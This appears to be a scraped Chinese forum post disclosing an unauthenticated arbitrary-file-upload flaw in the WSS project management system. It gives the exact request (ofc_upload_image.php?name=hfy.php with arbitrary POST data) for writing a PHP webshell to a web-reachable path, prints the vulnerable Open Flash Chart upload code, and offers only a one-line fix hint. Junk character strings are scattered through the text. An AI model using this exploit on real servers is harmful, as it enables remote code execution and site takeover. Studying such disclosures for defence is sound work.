WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
: b" A  k! C! l: m 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

6 m$ C2 o8 `6 K* v+ n利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
3 k/ @% ?) f1 e4 \: h7 Y9 a
Post任意数据
6 X4 s$ E6 A( h8 P保存位置http://localhost/chart/tmp-upload-images/hfy.php

. _- q/ U7 o% \( e5 V
9 z9 S+ ^* A! [" `- i0 S. _最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
& M/ y! m6 F# L* b  r' ?0 M  H/ Z! |
<?php

2 i+ U4 Y& j$ d  R9 w//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
- i1 l! @8 q) f1 e//
( Y) J0 i: K' h2 f
* r( }$ F( ~% ]( [/*

print_r( $_GET );
" u! @4 M: |- Bprint_r( $_POST );
print_r( $_FILES );

print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
, q+ c/ n: [- n1 n, S  H6 P$ H
0 o# N+ Y5 s9 ?( l*/
8 \9 t# T. u9 ~% d4 C// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
6 y$ I- y7 c$ o' Q
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
" W8 Y, f+ B- e" t4 q; j
// full path to the saved image including filename //
5 o1 Z& p# d0 p. S" W# j# o, V$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
# {3 Y0 ^+ G* B( E' U' H0 l// print_r( $_POST );
" c/ B5 i4 r- @7 ~* [, h8 ?// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
8 P4 p$ R" c$ ?1 h6 N+ W+ X
//
0 R6 M+ b+ x1 l  v- n3 E( J// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
3 W5 m. b. F7 n0 Y3 |// the raw bits into $HTTP_RAW_POST_DATA
; p: I* q2 |) E" K//

2 c" v" {( y4 ^/ x$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

//
+ }% P# q% {% Q: u# ^' B# o3 V) G// LOOK:
//
exit();
//
; R6 F! e8 e/ m3 s) s' k// PHP5:
//

; s" @! N! G& T4 [% _4 g' p
* |- [7 F( p/ Y! T; h8 ]0 m// default path for the image to be stored //
. X( D5 C! S# Y' I. V: `9 O$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
9 M- \. v; j. g# d
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
) F7 k' E3 [( D
7 u, n2 S$ X. Q6 @2 V// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
8 {, J5 }6 T; I    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
7 x7 b  V3 b' `) b6 Z! W* u  g! n} else {
    echo "FILE UPLOAD FAILED";
}
4 \& d$ l* t  q  r- _0 }- t1 C

?>

1 c; ~9 E# `' @# i0 I
: W) d$ X. R5 c* J


& A  u; V$ p& g. `
修复方案：
9 @. I* e" m; q. n6 K+ g' j7 c* s这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
( d7 o  B$ G, B0 M8 v  L
/ K$ d2 C; k. y$ w6 R

6 ?5 ?  ~- k$ w  ?( e